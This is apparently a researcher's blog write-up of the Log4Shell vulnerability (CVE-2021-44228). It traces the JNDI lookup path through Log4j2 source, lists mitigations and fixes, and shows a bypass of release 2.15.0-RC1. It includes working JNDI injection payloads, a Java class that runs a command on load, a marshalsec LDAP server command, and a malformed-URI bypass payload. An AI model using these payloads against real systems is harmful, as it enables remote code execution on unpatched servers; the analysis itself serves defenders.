Vulnerability Analysis - CVE-2021-44228 Log4Shell

Using Java 8u181

Vulnerability Profile

Apache Log4j2 is a logging tool. Because Apache Log4j2 offers some functions that could parse recursively, an attacker can directly construct a malicious request to trigger the remote code execution.The vulnerability works with default configuration.

Verified by the Ali Cloud security team, It is affected for Apache Struts2, Apache Solr, Apache Druid, Apache Flink, etc.

All systems running Apache log4j2 2.0-beta9 through 2.14.1 are vulnerable. If the Java application imports the log4j-core, it is most likely to be affected.

The Exploit

The Exploit Code

Use the maven to build a project to trigger the vulnerability and import the org.apache.logging.log4j module which version is 2.14.1 .

If the logger uses a recordable level to log the payload , the vulnerability will be triggered.

The trigger code is as shown below.

1
2
3
4
5
6
7
8
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Main {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.error("${jndi:ldap://ip:1389/#Exploit}123");
}
}

Use the code shown below to build a class file used by JNDI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;

public class Exploit{
public Exploit() throws IOException,InterruptedException{
String cmd="curl 127.0.0.1:5555";
final Process process = Runtime.getRuntime().exec(cmd);
printMessage(process.getInputStream());;
printMessage(process.getErrorStream());
int value=process.waitFor();
System.out.println(value);
}

private static void printMessage(final InputStream input) {
new Thread (new Runnable() {
@Override
public void run() {
// TODO Auto-generated method stub
Reader reader =new InputStreamReader(input);
BufferedReader bf = new BufferedReader(reader);
String line = null;
try {
while ((line=bf.readLine())!=null)
{
System.out.println(line);
}
}catch (IOException e){
e.printStackTrace();
}
}
}).start();
}
}

Compile the code to get the .class file. The construction method will be run by JNDI.

Trigger the vulnerability

It’s typical JNDI Injection progress. Firstly, move the .class file to a web server, and then, make use of marshalsec to set up JNDI and LDAP service, the command is as shown below

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080/#Exploit

Analysis of the Vulnerabilty

Analysis of the source code

As we all know, the exploit is working with JNDI, so we make a breakpoint in the constrution method of javax.naming.InitialContext . The source code is located in rt.jar/javax/naming/InitialContext.java

After running the trigger code, the execution will be paused at the breakpoint.

image-20220119155612476

The calling stack is as shown below

image-20220119155630289

It’s obviously that if we want to exploit with JNDI, there must be a calling for lookup method, so let’s trace reversely form JndiLookup.look().

To determine where is the code that focus to the payload ${jndi:ldap://127.0.0.1:1389/#Exploit}, we can add some junk into the logging message. Running the trigger again, we can find that the substitute methond deferenced AAAAA${jndi:ldap://127.0.0.1:1389/#Exploit}BBBBB into ${jndi:ldap://127.0.0.1:1389/#Exploit}.

Apart from this, we can find there is a method called resolveVariable which is using to parse variable wrapper with ${}.

Keep tracing, we can find a piece of code as below

image-20220119160349045

We can find that if it meet the variable starting with ${, the code will replace it with the resolved variable.

Going deeper

Log4j2 has 3 major components.

  • Logger - log the message
  • Appender - output the message
  • Layout - format the message

Keep tracing the calling stack, we can find that log4j2 use LoggerConfig.processLogEvent() to resolve logging event, use callAppenders() to call Appender to ouput the message.

image-20220119160832271

The function of Appender is transfer the logging event to the target. There are some commonly used Appender such as ConsoleAppender(output to the console), FileAppender(output to a file). It will use AppenderControl to gain the specific Appender. In this debug session, it is ConsoleAppender.

The Appender uses the Layout to get the logging format, formats the logging message with Layout.encode().

image-20220119161231396

The Layout will use formatters to finish the formating.

The inputted message is resolved by MessagePatternConverter.format(), it’s a important part of the vulnerabilty.

When the config is exist and the noLookups is false, if there is a ${' in the message, it will call workingBuilder.append() to get the StrSubstitutor to replace the variable with resolved one

image-20220119161657043

We can find there is a noLookups which is a value of configuration, the default value of it is the false. We will make use of it to temporarily fix the vulnerabilty later.

Going forward, we can find the StrSubstitutor.resolveVariable() , it is used to resolve and parse, suporting the protocols incluing JNDI as below

image-20220119161941649

Mitigation - Disable Lookups with System configuration

image-20220119165049793

We can check the cross reference to determine where the noLookups was assigned, it is as below

image-20220119165155009

image-20220119165215145

As a example, I add a line of code to change the system configration, it could also be set by command line or .properties configration file.

1
2
3
4
5
6
7
8
9
10
 import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.lang.*;
public class Main {
public static void main(String[] args) {
System.setProperty("log4j2.formatMsgNoLookups","true");
final Logger logger = LogManager.getLogger();
logger.error("AAAAA${jndi:ldap://127.0.0.1:1389/#Exploit}BBBBBB");
}
}

Run the trigger code again, we can find that ${jndi:ldap://127.0.0.1:1389/#Exploit} won’t be parsed

Mitigation - Disable Lookups with Log4j Configuration

In my opinion, it’s the best way to protect the system without upgrading

The official documet: Log4j – Configuring Log4j 2 (apache.org)

The MVP(Minimum Viable Product) of configuration in XML is as shown below.

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="[%t] %-5level %m{nolookups} %n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>

Apart from XML, the Log4j also support other formats such as json.

Thinking - Why the Log4j2 needs the capability of JNDI

After checking the official documents Log4j – Configuring Log4j 2 - Apache Log4j 2,I found the Property Substitution function, it offers the capability to retrieve attributes remotely to make the logging information more abundant

Because the developers didn’t aware the potential harm, the default value of noLookups was set to false and the source of JNDI wasn’t been restricted.

Something else

The common false positive

Many tester determine if the system is vulnerable to the CVE-2021-44228 by checking the DNS request, it’s not rigorous. Many Public Service could send the DNS request for the domian in the payload to take spam intercepting or any else, so the DNS request can’t be the evidence of vulnerabilty.

There is a better method to check, just insert the ${sys:java.version} into the subdomain, it will be much more accurate.

How to defense

  1. Upgrade the log4j2
  2. Disable Lookups with System configuration
  3. Disable Lookups with Log4j Configuration

The official fixing

https://logging.apache.org/log4j/2.x/changes-report.html

image-20220119191652712

image-20220119191657495

As shown above, in Release 2.15.0, it disabled the lookups by default and limit the servers and classes that can be accessed via LDAP.

What’s more, In release 2.16.0, disable JNDI by default. Require log4j2.enableJndi to be set to true to allow JNDI and completely remove support for Message Lookups.

image-20220119192017647

The Bypassing in log4j 2.15.0-RC1

Compiling

Because the 2.15.0-RC1 don’t exist in the maven repository, we have to get the source code from GitHub and compile it manually.

Tags · apache/logging-log4j2 (github.com)

According to the README.md, configure the jdk in the toolschains files and we only need the packages for jdk1.8, so just comment out the others.

Because we don’t need all the modules, modify the modules in pom.xml as shown below

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<modules>
<!-- <module>log4j-api-java9</module> -->
<module>log4j-api</module>
<!-- <module>log4j-core-java9</module> -->
<module>log4j-core</module>
<!-- <module>log4j-layout-template-json</module>
<module>log4j-core-its</module>
<module>log4j-1.2-api</module>
<module>log4j-slf4j-impl</module>
<module>log4j-slf4j18-impl</module>
<module>log4j-to-slf4j</module>
<module>log4j-jcl</module>
<module>log4j-flume-ng</module>
<module>log4j-taglib</module>
<module>log4j-jmx-gui</module>
<module>log4j-samples</module>
<module>log4j-bom</module>
<module>log4j-jdbc-dbcp2</module>
<module>log4j-jpa</module>
<module>log4j-couchdb</module>
<module>log4j-mongodb3</module>
<module>log4j-mongodb4</module>
<module>log4j-cassandra</module>
<module>log4j-web</module>
<module>log4j-jakarta-web</module>
<module>log4j-perf</module>
<module>log4j-iostreams</module>
<module>log4j-jul</module>
<module>log4j-jpl</module>
<module>log4j-liquibase</module>
<module>log4j-appserver</module>
<module>log4j-osgi</module>
<module>log4j-docker</module>
<module>log4j-kubernetes</module>
<module>log4j-spring-boot</module>
<module>log4j-spring-cloud-config</module> -->
</modules>

To compile, the maven command to run is as below

1
2
# set the env variable JAVA_HOME to the path of jdk1.8
./mvnw clean install -t toolchains-sample-mac.xml -Dmaven.test.skip=true # skip tests to accelerate

The generated artifacts (.jar) will be in the target directory of every module.

Analysis of the source code

Firstly, change the version of log4j to 2.15.0 in the pom.xml, replace the packages .jar with the generated before.

Because it disabled the lookups by default in 2.15.0, we have to enable it with configuration.

Modify or create the log4j2.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="[%t] %-5level %m{lookups} %n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>

Now, the payload as below will be parsed

1
${sys:java.version}

However, the payload for JNDI won’t be parsed

1
${jndi:ldap://ip:1389/#Exploit}

We know that the variable could be resolved but the JNDI has been restricted, let’s have a check with the process of variable resolving. Focus on StrSubstitutor.resolveVariable()

image-20220119203640824

Step into the lookup()

image-20220119203737325

We can find that the JNDI could be resolved as before, step into the lookup() again and check what is restricting the JNDI.

image-20220119203859702

Step into the lookup() of jndiManager

We can find there are some restrictions about the protocol and source.

image-20220119204000127

image-20220119204003833

As we found, the source has been restricted to some local IP, let’s assume that the restrict about source won’t afffect us as we are testing locally. Apart from this, we can find that the LDAP protocol is permitted.

image-20220119204438853

We can find that the Reference Object have been forbidden by attributeMap.get(OBJECT_FACTORY)!=null

Apart from this, the another way to exploit with JNDI, deserialization, has been restricted too, it limited the classes to some basic type with allowedClasses as below

image-20220119204722750

Although it looks like perfect, but there is a vulnerability in the logic of exception handling

image-20220119204943826

If there is a URI with some error in syntax, it will skip all the assessment and execution will arrive the JNDI lookup.But, how to have a URI which have some error in syntax but could work as intended?

Just add a space that didn’t encoded by urlencode as below

1
${jndi:ldap://127.0.0.1:1389/# Exploit}

Run the trigger code again, we can find that the command in exploit code works.

image-20220119205538805

Summary of the Bypassing

  • The LookUps have to be enabled by developer
  • The source of LDAP have to be in the permit list, but the permit list only contains some local address by default

References

Author

4xpl0r3r

Posted on

2022-01-19

Updated on

2022-02-11

Licensed under

Comments